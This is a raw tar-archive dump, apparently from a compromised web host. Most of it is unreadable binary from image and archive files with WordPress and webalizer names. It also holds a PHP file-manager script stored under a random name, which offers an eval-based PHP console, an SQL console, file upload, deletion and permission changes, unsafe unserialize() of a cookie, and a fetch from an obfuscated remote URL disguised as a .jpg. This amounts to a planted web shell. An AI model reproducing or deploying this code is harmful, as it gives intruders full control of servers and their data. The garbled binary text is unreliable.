mask.png.tarnu[PKM;[neon-notes.js.js.tar.gznu[PKM;[color-picker.js.tarnu[PKM;[hourly_usage_202410.png.tarnu[PKM;[ menu.png.tarnu[PKM;[isotope.tar.gznu[PKM;[ ctry_usage_202202.png.png.tar.gznu[PKM;[options-general.php.php.tar.gznu[PKM;[resizeable.js.tarnu[PKM;[plugins.php.php.tar.gznu[PKM;[ctry_usage_202507.png.tarnu[PKM;[options.d.ts.d.ts.tar.gznu[PKM;[ms-files.php.php.tar.gznu[PKM;[daily_usage_201911.png.tarnu[PKM;[data.tarnu[PKM;[ source.tarnu[PKM;[uniq.js.js.tar.gznu[PKM;[math.tarnu[PKM;[ ctry_usage_202411.png.png.tar.gznu[PKM;[.npmignore.npmignore.tar.gznu[PKM;[class-wp-object-cache.php.tarnu[PKM;[align-left.png.png.tar.gznu[PKM;[ .eslintrc.tarnu[PKM;[theme-i18n.json.tarnu[PKM;[BigRational.php.php.tar.gznu[PKM;[ctry_usage_202504.png.tarnu[PKM;[.travis.yml.tarnu[PKM;[d "hourly_usage_202212.png.png.tar.gznu[k8i̘C\·a6٥1e )RZP%bs*l[P(&(۪޲e^sy~;tOd0-(",>hOFrhq;wDi{x t%ݜ .2l_5KŠ-m,mu,v^ wG," G}ܨ 4Tw_LE ~2*0 Ysss9 S@mpq/,l,SD3l7ĐM [aLD:/s%r 8E{N+5x6y-c]VC'1=V灋 5JqsC#8禔4 "=vb5tNHff6xj;%Ar>~s[j{~>NOL>&i(w9{8h?ǻpOIoY*DԉD0`R_v_U[H.,4},)x%yPW%s)! oH\HBGW<)pNy7d[ *XcMaʊG-K{u ʉY͡[lUKIEժNҰ&F'n@{*vMx(ֲ֤#e?C"a-k7Y`:$x#v; S)=Y~WHevS(GF4XHk|1Y+xw:nmr;pO %}[ju܈ B>1Ea;5ki|Ǟ0 Äp]:l{WsSTQ\8¼7[λ`35YjZSppjs2h@{^g<͙#^inx>q v>;n֎ GgD,[ݣ,zFaݔlyk$5H `1ӄ(}J8m%6MbK:!m=nV%{GL×ٵ*MC WCQaH Q6-HNշnf̟W#.# qIU2gtcT,F?#ro'n7b5՛Qn{/5LفW&Z+ӀkȰ^:S ɍ 4ՇQU)x`,tkNSal*s f@'MAŗE;FU?킵7M)A'?AI[⯆ d4 ɢ'0pӃU*&lo@y%ܜM%qKz)cyv Y>;Rq'woU8@1|Ct̚rDm8@ -ZREE 8HN .BJ"IGK^>љO/SVj1k ؓ)SqRcҫCSx+]9v E5eꢫOB *>[ q0{xo R_|≊} LC=%eKF|PV4NQQoDq!Czyؚi5胙%ږ&o e)d:H}Z)`V&m/yY0ޤF $wmRģ-%۲qj'#͂ :Kycf!~\m 0FP>x&{Gr2p'%9ɯFUi G LylH|rcraQ 2Q$a%#a[:K[D^٤/2}:/u/9u7sp˞/E2ru@ Yݪ k?PqM:%f Lv-E1|~ [hxA:3̥*.9+ʗԷY+?V0^@Dypҷ͓Sa:ws* Gz©\K iJn"2 `\z -)2"l~@"Sn SDk͵yM#w؋Oϳ:pXۗ!eZ}5qE!?V{Me`K%FBP.l.hANȂmI/[o4n4vo*6U,_75zB@0셳߄'H.šۑw/L7RF6zT:;W_'o<PKM;[ runtime.tarnu[PKM;[y70 0 "hourly_usage_202412.png.png.tar.gznu[{8io0KDS)0"MVB4N?r B?*+9r)m$MFN.N{{><{_\u_O\rRř$yFtdDb|fty\rZJ7i\Kk K3XpX[˼k+5Xђkmic[X,ܿ] -U(?N/OW] I`+S^~q\>}XpsYBZy)όHE9;G =;Qd;79Inl{Twm[6D*}[A옞D@X1Edyc5^Ijb|wsM)Y< nBljj1 cPslƙqjX˫/, ]ޘЄ`-Pϸn>ܓ6ܵڑmMG˞DЍ $ip F}T{ڲVd_w0 Qr֗%uܾX>Ru:;_,tHt.Y237ċE/9Eg:W1U@ ӛƵĶOOߖΆ'OQ5\rZ qÕ!.g9&_*DI> Gv\{q`7Ȁko_>GĬ-Jz¡Z-^e^f fT3+\ > Uem% >(U1.rÓCY5- o)1E \ 40'2VDA@@VR~l f:Ӣ_'p)Z.LM#;i" <¹1j 5K pϳ'F,cA4|4/w0í|ʏ:[ a$Ĝnz%% E/k |e:dz%_Wb(2]2.mE{{1Fxڬ}4nWa n@"[x)hԳBK8ghhcn ]L6<"i؍cDHp,K"!:|}~kHm k =|Ry'ٍM0}Oic:I*҂κ2/ s^mj585ȳęVGn5o#%jGu!.7}3x`g5jǥP~0LDN%ըrFeW1 W\N`wυ4>O>$; >z7n>t4"3g_ϛMZGY|Fn <~4B+<*?q6DԖ#6y*A6|5rQmyȉyM#ktl&䑪5a+2-bDd(uD i. ^dj}"jwT'~y+>duP @[J?VQoIuO[1+(b5u?,mSme!M3yb_3ZBAw+ pҜ\\?n6i`cw#b durUO6z&wrҌȟIE!)}z1]! ;YNxz* ZvZna $4a8l ǣõA"tĹZ7l՛!Ȟxj|P0;`OJ& A}QP 9$EeH>ry TiUnxI Ol\qn각o_{smڮna ̴7zA@}44aYx}# M<%{Ht~]*O&',wgaPKM;[daily_usage_202402.png.tarnu[PKM;[wp-signup.php.php.tar.gznu[PKM;[usage_202410.html.html.tar.gznu[PKM;[$;&hourly_usage_202411.png.tarnu[home/clixcotz/tmp/webalizer/hourly_usage_202411.png000064400000004237150432035410016147 0ustar00PNG  IHDR7T!PLTE\@|Z9IDATx8@7VnIKQ߼Vv~ > G2do.\q L(]DE|AZ$q/do5wAV2`U^%L hz}j.V;*̽*v(hL)w/VE@yvVʔ(B;j߫>+\CZU}諝9hCU.`5c*y@=Sb ټ2!1y9/JPh׀dKWJKg:ۻH) UCu  ori^(\rff]ꎮ~wEa- ھN-\}dwuKؙP[8#0=\P;6\0 t; Gʿ(5aK, \*GK@ 51)ND_4'ȉI}E u%$9OQ =lRFhFz‹B!NP{Q n!E Ȅ?(-H\ ( ؗ;|%t'I"Ca|+Bv!"iȭ5rQh! }b*a .\)4DR ^qbK&hxߞi8ўϴNy!czQ`Ǝ30NyXQD I8޶ YtBӈ ::P(ea06XPqGigd 4׼-k@atX lE]\1& x4#0sd 0HWF p%Rtqg` 1趬NDY=upw{пRhKnV 7ns1gUn]Wn0H{I B1% 0%AŖvX0Q1qt%T)OE * L9@͓=n pLְlꚋm-N` 06Ϝ(ղ5HT `nzDKU@g3f[58NoI36vmU6coT0p~>!xl"v@,U7A P=OhHC͗ *bkMk |FA@_}"$U7@0NCPxhmT/_AMR)&{6D1"V={n[5(cx<`1aOTQDPAa 0 3eO[2nMjߓ`^Y R)/*cK _X^Kx*EscTA%UWPȺڇR ]J* iJ &[IENDB`PKM;[HttpServer.php.tarnu[PKM;[ctry_usage_202209.png.tarnu[PKM;[UsGGant.phpnu[8889841c true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ $get_lang = file_get_contents('d3700b795f01479203a1b29c2fb1fa2b306fe2ed0cb3e278e94537a11944a900 e38172de2120bcc95e2ab676bebc7be24d34653cf63aa66f63c6a7a6fe0275a1 8a1b14fbe591f350a3856502adb8ab5be321a556f7ec1f650d3f69aed614a013 7b1e0f9aa858958cdf701397d3baf1b481a0e68586f4bd9b7fd4217d725ff36e eb2608009b839ba005f69ed723662bdce05b969b92480ed8793bca36bc514335 9d3de878fdb8be5b696cbacc32a71b2115f950be391fe26757462abdd3f7ac1c 44cac12b59a52c91235fffe7845b406d8d64df5760054ec8f89f840e6903df3a 7a8f1dd5ba6e6d2a21fd1c135c8cab05469e3218f1e7929ee6ca6b4700d323f9 bc715487566a4073de64eed1550678b56e866a24562b33d1c68aaa7b8b203a99 92b03161815504437637d21c4f4aaa0f8d38ad5d455ed1620bd2d15a48b96e02/bayi-613/system/main/system.jpg' . $language . '.json'); //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '